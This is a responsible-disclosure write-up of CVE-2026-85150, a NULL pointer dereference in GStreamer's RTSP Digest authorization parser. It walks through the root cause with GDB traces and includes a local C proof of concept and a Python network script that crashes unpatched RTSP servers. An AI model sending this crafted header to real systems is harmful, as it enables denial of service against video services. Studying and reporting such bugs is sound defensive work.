Introduction

This article focuses on a parsing bug I “accidentally” found in the GStreamer RTSP library. “Accidentally” as in I didn’t particularly set out to find this bug in GStreamer, but I noticed this while trying to reverse engineer the firmware of an IP camera. The following are details about the CVE, assigned by Red Hat.

Field Value
CVE ID CVE-2026-85150
CVSS 3.1 score 7.5
CVSS 3.1 vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-476: NULL Pointer Dereference

Interestingly, Red Hat’s description noted that this bug can be triggered either by a remote unauthenticated attacker against an RTSP server with authentication enabled, or by a malicious RTSP server against RTSP clients.

The next few sections contain the writeup for CVE-2026-85150.

Summary

There is a parsing bug in gst_rtsp_message_parse_auth_credentials found in gstreamer/subprojects/gst-plugins-base/gst-libs/gst/rtsp/gstrtspmessage.c at lines 1408-1427. This allows an attacker to trigger a non-fatal GLib assertion in g_strndup(value, item_end-value), causing it to return NULL, which is then stored in auth_param->value and subsequently dereferenced, triggering a SIGSEGV.

Notably, g_strndup(value, item_end-value) can be called with item_end-value=0xffffffffffffffff (G_MAXSIZE), which returns NULL. If there are any downstream dereferences of auth_param->value, it can lead to a DoS.

Additionally, if the value contains ", we can trigger a SIGSEGV when decode_quoted_string(auth_param->value) attempts to dereference the NULL pointer.

Thus, a remote unauthenticated attacker can send a malformed request with a specially crafted Authorization Digest header against an RTSP server with authentication enabled to crash the RTSP server, leading to a DoS. Red Hat further noted that this bug can also be triggered by a malicious RTSP server against RTSP clients.

While I have only tested this on version 1.28.2, I believe that versions < 1.28.7 are affected.

Root cause analysis

The root cause analysis is based on the payload Digest key= ",foo=bar, and the relevant code is shown below.

while (*header) {
    const gchar *item_end;
    const gchar *eq;

    header = skip_commas (header);
    item_end = skip_item (header);

    for (eq = header; *eq != '\0' && *eq != '=' && eq < item_end; eq++);
    if (eq[0] == '=') {
        GstRTSPAuthParam *auth_param = g_new0 (GstRTSPAuthParam, 1);
        const gchar *value;

        /* have an actual param */
        auth_param->name = g_strndup (header, eq - header);

        value = eq + 1;
        value = skip_lws (value);
        auth_param->value = g_strndup (value, item_end - value);
        if (value[0] == '"')
            decode_quoted_string (auth_param->value);
    ...
    }
    ...
}

When parsing key= ,, the if (eq[0] == '=') check passes and execution enters the code block which calls g_new0 to allocate a new buffer for GstRTSPAuthParam. The call to auth_param->name = g_strndup (header, eq - header); successfully duplicates the string key and stores it in auth_param->name.

Next, the code attempts to perform value = eq + 1;, and value now points to [space]. item_end seems to also point to [space], which was set earlier by skip_item. Next, value = skip_lws (value); attempts to move value past any [space] character, which moves it to ,. This is one character after [space], and thus the computation item_end - value becomes a negative value (-0x1).

Since item_end - value = -1 and the second parameter of g_strndup is type gsize (unsigned), -1 is converted to 0xffffffffffffffff (G_MAXSIZE), leading to the failed assertion. g_strndup (value, item_end - value) returns NULL and auth_param->value = NULL.

Any downstream dereference of auth_param->value can therefore lead to a dereference error, possibly causing DoS.

We should immediately see that the next code path if (value[0] == '"') decode_quoted_string (auth_param->value); is triggered when the payload is Digest key= \",foo=bar. This dereferences NULL, triggering a SIGSEGV. The following shows the trace in GDB with the instruction at address 0x7ffff7f8a858 <gst_rtsp_message_parse_auth_credentials+984> attempting to dereference 1 (NULL+1).

pwndbg> 

Breakpoint 3, 0x00007ffff7f8a858 in gst_rtsp_message_parse_auth_credentials () from /usr/lib/x86_64-linux-gnu/libgstrtsp-1.0.so.0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0x5555555634fa ◂— '= ",foo=bar'
 RCX  0x555555669
 RDX  0xf
 RDI  0x555555669db0 ◂— 0x555555669
 RSI  0x555555559680 ◂— 0xf000f0010000c /* '\x0c' */
 R8   0
 R9   0x3a8b5d3f900184dc
 R10  0x41
 R11  0x202
 R12  0x7ffff7d17160 ◂— 0x4000400040004
 R13  0x5555555634fb ◂— ' ",foo=bar'
 R14  0x5555555634fc ◂— '",foo=bar'
 R15  0x555555563220 —▸ 0x55555555f800 ◂— 0x55500079656b /* 'key' */
 RBP  0x7fffffffd890 —▸ 0x7fffffffd8d0 —▸ 0x7fffffffd980 —▸ 0x7fffffffd9e0 ◂— 0
 RSP  0x7fffffffd820 —▸ 0x555555563170 ◂— 1
*RIP  0x7ffff7f8a858 (gst_rtsp_message_parse_auth_credentials+984) ◂— movzx edx, byte ptr [rax + 1]
────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
b+ 0x7ffff7f8a79a <gst_rtsp_message_parse_auth_credentials+794>     call   g_strndup@plt               <g_strndup@plt>
 
   0x7ffff7f8a79f <gst_rtsp_message_parse_auth_credentials+799>     mov    qword ptr [r15 + 8], rax     [0x555555563228] <= 0
   0x7ffff7f8a7a3 <gst_rtsp_message_parse_auth_credentials+803>     cmp    byte ptr [r14], 0x22         0x22 - 0x22     EFLAGS => 0x246 [ cf PF af ZF sf IF df of iopl:00 ac ]
   0x7ffff7f8a7a7 <gst_rtsp_message_parse_auth_credentials+807>   ✔ je     gst_rtsp_message_parse_auth_credentials+984 <gst_rtsp_message_parse_auth_credentials+984>
    ↓
b► 0x7ffff7f8a858 <gst_rtsp_message_parse_auth_credentials+984>     movzx  edx, byte ptr [rax + 1]      <Cannot dereference [1]>
   0x7ffff7f8a85c <gst_rtsp_message_parse_auth_credentials+988>     cmp    dl, 0x22
   0x7ffff7f8a85f <gst_rtsp_message_parse_auth_credentials+991>   ? je     gst_rtsp_message_parse_auth_credentials+1064 <gst_rtsp_message_parse_auth_credentials+1064>

PoC

I did my testing using the following setup:

  • Operating System: Ubuntu 26.04 (Resolute Raccoon) LTS
  • Device: Virtual Machine
  • GStreamer Version: 1.28.2

Local PoC

The following is the PoC (poc_local.c) I used for testing.

To reproduce the bug locally, we can follow these steps:

  • Install the required libraries with the command sudo apt-get install libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev
  • Compile the PoC using the command gcc -g poc_local.c -o poc_local $(pkg-config --cflags --libs gstreamer-1.0 gstreamer-rtsp-1.0)
  • Run the PoC using the command ./poc_local

We should see a crash at the same location as in the previous section.

#include <gst/gst.h>
#include <gst/rtsp/gstrtspmessage.h>
#include <gst/rtsp/gstrtspdefs.h>
#include <stdio.h>

int main(int argc, char **argv) {
    gst_init(&argc, &argv);

    GstRTSPMessage *msg = NULL;
    if (gst_rtsp_message_new_request(&msg, GST_RTSP_OPTIONS, "rtsp://x/") != GST_RTSP_OK) {
        fprintf(stderr, "new_request failed\n");
        return 2;
    }

    const char *evil = "Digest key= \",foo=bar";
    gst_rtsp_message_add_header(msg, GST_RTSP_HDR_AUTHORIZATION, evil);

    GstRTSPAuthCredential **creds =
        gst_rtsp_message_parse_auth_credentials(msg, GST_RTSP_HDR_AUTHORIZATION);

    gst_rtsp_message_free(msg);
    return 0;
}

Network PoC

We can also test against the example RTSP server in gst-rtsp-server/examples/test-auth.c link. We can download test-auth.c from the given link.

The following is the PoC (poc_net.py) I used for testing.

import argparse
import socket

def build_request(path: str, cseq: int, auth_header: str) -> bytes:
    return (
        f"DESCRIBE rtsp://target{path} RTSP/1.0\r\n"
        f"CSeq: {cseq}\r\n"
        f"User-Agent: parse-auth-poc/2\r\n"
        f"Accept: application/sdp\r\n"
        f"{auth_header}\r\n"
        f"\r\n"
    ).encode("latin1")

def send(host: str, port: int, req: bytes) -> None:
    print(f"[*] connecting to {host}:{port}")
    print(f"[*] sending {len(req)} bytes:")
    print("    " + req.decode("latin1", "replace").replace("\r\n", "\n    ").rstrip())
    s = socket.create_connection((host, port), timeout=5)
    try:
        s.sendall(req)
        try:
            data = s.recv(4096)
        except (ConnectionResetError, socket.timeout) as e:
            print(f"[!] connection dropped/timed out ({e!r})")
            return
        if not data:
            print("[!] empty reply (peer closed)")
            return
        print(f"[+] received {len(data)} bytes:")
        print("    " + data.decode("latin1", "replace").replace("\r\n", "\n    ").rstrip())
    finally:
        s.close()

def main() -> int:
    ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("host")
    ap.add_argument("port", type=int)

    args = ap.parse_args()

    auth = 'Authorization: Digest key= ",foo=bar'
    print(f"[*] Testing with {auth} ")

    req = build_request("/test", cseq=1, auth_header=auth)
    send(args.host, args.port, req)
    return 0

if __name__ == "__main__":
    main()

To reproduce the bug over the network, we can follow these steps:

  • Compile the test-auth example using the command gcc -g test-auth.c -o test-auth $(pkg-config --cflags --libs gstreamer-1.0 gstreamer-rtsp-1.0 gstreamer-rtsp-server-1.0)
  • Run the compiled binary using the command ./test-auth
  • In a second terminal, run the Python PoC using the command python3 poc_net.py 127.0.0.1 8554

Running the test-auth binary under GDB reveals that the crash happens at the same location. The instruction at 0x7ffff7bf0858 <gst_rtsp_message_parse_auth_credentials+984> attempts to dereference [rax + 1] where rax = 0, which leads to the crash.

[New Thread 0x7ffff6f666c0 (LWP 10520)]
stream with user:password ready at rtsp://127.0.0.1:8554/test
stream with admin:power ready at rtsp://127.0.0.1:8554/test
stream with admin2:power2 ready at rtsp://127.0.0.1:8554/test2
removing all sessions
[New Thread 0x7ffff67656c0 (LWP 10532)]

(test-auth:10514): GLib-CRITICAL **: 10:50:22.134: g_strndup: assertion 'n < G_MAXSIZE' failed

Thread 3 "pool-0" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff67656c0 (LWP 10532)]
0x00007ffff7bf0858 in gst_rtsp_message_parse_auth_credentials () from /usr/lib/x86_64-linux-gnu/libgstrtsp-1.0.so.0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
 RAX  0
 RBX  0x7fffe8000e0a ◂— '= ",foo=bar'
 RCX  0x7fffe8000
 RDX  0xf
 RDI  0x7fffe8000fd0 ◂— 0x7fffe8000
 RSI  0x7fffe8000880 ◂— 0x10000f000f000c /* '\x0c' */
 R8   0
 R9   0x9bd8c2c28c13b7f1
 R10  0x45
 R11  0x7ffff67656c0 ◂— 0x7ffff67656c0
 R12  0x7ffff7cd2160 ◂— 0x4000400040004
 R13  0x7fffe8000e0b ◂— ' ",foo=bar'
 R14  0x7fffe8000e0c ◂— '",foo=bar'
 R15  0x7fffe8000f90 —▸ 0x7fffe8000fb0 ◂— 0x79656b /* 'key' */
 RBP  0x7ffff6764680 —▸ 0x7ffff6764710 —▸ 0x7ffff6764730 —▸ 0x7ffff6764770 —▸ 0x7ffff67647d0 ◂— ...
 RSP  0x7ffff6764610 —▸ 0x5555556f9cf8 ◂— 1
 RIP  0x7ffff7bf0858 (gst_rtsp_message_parse_auth_credentials+984) ◂— movzx edx, byte ptr [rax + 1]
────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
 ► 0x7ffff7bf0858 <gst_rtsp_message_parse_auth_credentials+984>     movzx  edx, byte ptr [rax + 1]     <Cannot dereference [1]>
   0x7ffff7bf085c <gst_rtsp_message_parse_auth_credentials+988>     cmp    dl, 0x22
   0x7ffff7bf085f <gst_rtsp_message_parse_auth_credentials+991>   ? je     gst_rtsp_message_parse_auth_credentials+1064 <gst_rtsp_message_parse_auth_credentials+1064>
   0x7ffff7bf0861 <gst_rtsp_message_parse_auth_credentials+993>     test   dl, dl
   0x7ffff7bf0863 <gst_rtsp_message_parse_auth_credentials+995>   ? je     gst_rtsp_message_parse_auth_credentials+1064 <gst_rtsp_message_parse_auth_credentials+1064>

In the terminal running gst-rtsp-server, we can see the following output. This is consistent with the crash described earlier.

stream with user:password ready at rtsp://127.0.0.1:8554/test
stream with admin:power ready at rtsp://127.0.0.1:8554/test
stream with admin2:power2 ready at rtsp://127.0.0.1:8554/test2

(test-auth:10416): GLib-CRITICAL **: 10:45:24.807: g_strndup: assertion 'n < G_MAXSIZE' failed
Segmentation fault         (core dumped) ./test-auth

In the terminal running the PoC (python3 poc_net.py 127.0.0.1 8554), we should see the following output. There is no RTSP response as the server drops the connection, which is consistent with the SIGSEGV that occurs before any response is written.

[*] Testing with Authorization: Digest key= ",foo=bar 
[*] connecting to 127.0.0.1:8554
[*] sending 142 bytes:
    DESCRIBE rtsp://target/test RTSP/1.0
    CSeq: 1
    User-Agent: parse-auth-poc/2
    Accept: application/sdp
    Authorization: Digest key= ",foo=bar
[!] empty reply (peer closed)

Timeline

  • August 26, 2026 - Reported to GStreamer’s maintainers
  • September 2, 2026 - GStreamer’s maintainers authored a fix
  • September 2, 2026 - Applied for CVE from Red Hat
  • September 3, 2026 - Red Hat assigned CVE-2026-85150
  • September 7, 2026 - GStreamer 1.28.7 released

Conclusion

This article is a short writeup of a bug that I found, for which I was awarded CVE-2026-85150. The impact of this bug is DoS, and there is no risk of code execution or memory corruption.

I would like to thank GStreamer’s maintainers for responding to the issue and applying the patch so quickly.

Additionally, with this first bug, I would like to acknowledge and thank past and present colleagues I have had the privilege of working with over the past two years. I am grateful for the guidance, support, and mentorship I received, which shaped my early career in cybersecurity.

External links

  • https://gstreamer.freedesktop.org/security/sa-2026-0082.html
  • https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/633eae4c7c4b25b9043372a8a91cf7a386d5168b
  • https://access.redhat.com/security/cve/cve-2026-85150
  • https://bugzilla.redhat.com/show_bug.cgi?id=2527936